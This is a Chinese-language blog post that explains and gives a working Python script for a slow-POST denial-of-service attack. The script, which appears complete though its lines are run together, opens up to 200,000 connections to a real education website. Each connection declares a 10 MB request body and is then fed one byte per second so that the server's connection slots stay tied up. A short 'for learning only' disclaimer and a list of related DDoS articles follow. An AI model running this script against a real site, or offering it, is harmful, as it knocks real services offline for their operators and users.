构建多个socket链接后,每个socket对这个网站无限的发送信息,以起到占用他们网站资源链接的效果。

环境:

python3.7


代码:

import socket
import time
import threadingMAX_CONN = 200000  # 最大连接数
PORT = 80
HOST = "mooc.jikestar.com"  # 目标IP或域名.
PAGE = "/#/classlist"  # 目标页面buf = ("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n"  # 实体数据大小"Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE, HOST))socks = []def conn_thread():global socksfor i in range(0, MAX_CONN):  # MAX_CONN允许最大连接数# AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((HOST, PORT))s.send(buf.encode())print("[+] 成功发送buf!,conn=%d\n" % i)socks.append(s)except Exception as ex:print("[-] 无法连接服务器或发送错误:%s" % ex)# 暂停1秒def send_thread():global sockswhile True:for s in socks:try:s.send("f".encode())except Exception as ex:print("[-] 发送异常:%s\n" % ex)socks.remove(s)s.close()time.sleep(1)# 建立多线程
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
# 开启线程
conn_th.start()
send_th.start()conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()

文章仅供学习,攻击他人服务器出现的一切后果请自行负责。

pythonDDOS攻击相关推荐

  1. Python-DDoS攻击

    背景: 网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包.可是问题就出在,如果我 ...

  2. pythonddos攻击代码_【分享】Python简易DDos攻击器源码

    [Python] 纯文本查看 复制代码import socket import time import threading #Pressure Test,ddos tool #------------ ...

  3. 导航狗IT周报-2018年05月18日

    原文链接:https://www.daohanggou.cn/2018/05/18/it-weekly-8/ DDoS专题 最近Web安全里的一个热点就是包括阮一峰博客在内的多个教育类IT网站被DDo ...

  4. pythonddos防御_浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击...

    01 前言 以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功 ...

  5. 初窥CSRF攻击方式以及Flask-WTF

    含义 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. ...

  6. 固件安全性—防止内存损坏和注入攻击

    固件安全性-防止内存损坏和注入攻击 Firmware Security – Preventing memory corruption and injection attacks 构成物联网(IoT)主 ...

  7. 安全测试之xss攻击和mysql注入

    xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...

  8. linux syn 队列,linux 防御SYN攻击

    一.默认syn配置 sysctl -a | grep _syn net.ipv4.tcp_max_syn_backlog = 1024 net.ipv4.tcp_syncookies = 1 net. ...

  9. OAuth 2.0攻击面与案例总结

    本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码. OAuth流程 本文以两种广泛使用的方案为标准展开..如对流程不了解,请先移步学习: 理解OAuth 2.0 Authorization ...

最新文章

  1. priority_queue 结构体的优先级设置
  2. AI也能写高考作文?我们用清华刚刚开源的「九歌」试了试
  3. python哪个方向最缺人赚钱最多?如何在短时间内月入10000以上
  4. gridview排序加箭头(二)
  5. spring security4 问题
  6. 国开计算机专业英语章节测试答案,国开大201x理工英语1第七单元网上测试答案...
  7. [转载] python将int转为string_python – 在Pandas中将列名从int转换为string
  8. 2021-1-25计算机快速入门,简单掌握各种技巧
  9. hiveserver2启动后beeline无法连接:root is not allowed to impersonate hah
  10. 大型网站架设,LMP+Nginx负载均衡+Keepalived热备+Ceph存储集群架构+Web动静分离架构
  11. 盘点:上海十处最具情调的小资地!(组图)
  12. List 接口中扩充的 10 个方法详解
  13. 二维码制作软件----如何让二维码内容换行显示
  14. 如何开发一个酷炫的mdx
  15. CCF 201903-2 二十四点 用栈模拟简单计算器
  16. MySQL 中的 INSERT 是怎么加锁的?(荣耀典藏版)
  17. 前端性能优化 - chrome performance看浏览器渲染过程
  18. python3小项目——爬取招聘信息(智联招聘)
  19. NXP_RT1172 eFlexPWM 模块简介
  20. mac下导出chrome插件及安装

热门文章

  1. 实时道路路况计算的认识
  2. 使用 Flutter 构建新闻应用
  3. hive.server2.enable.doAs
  4. 计算机常用字符集编码
  5. 12V转5V 5V转3.3V电路
  6. android 触屏的震动响应接口是什么
  7. 在anaconda环境中配置PCV和vlfeat
  8. 视频号怎么玩才能赚钱?普通人的机会在哪里?本文深度解析
  9. Java程序对服务器的轰炸(附带Java代码演示)
  10. 企业网站推广的方法有什么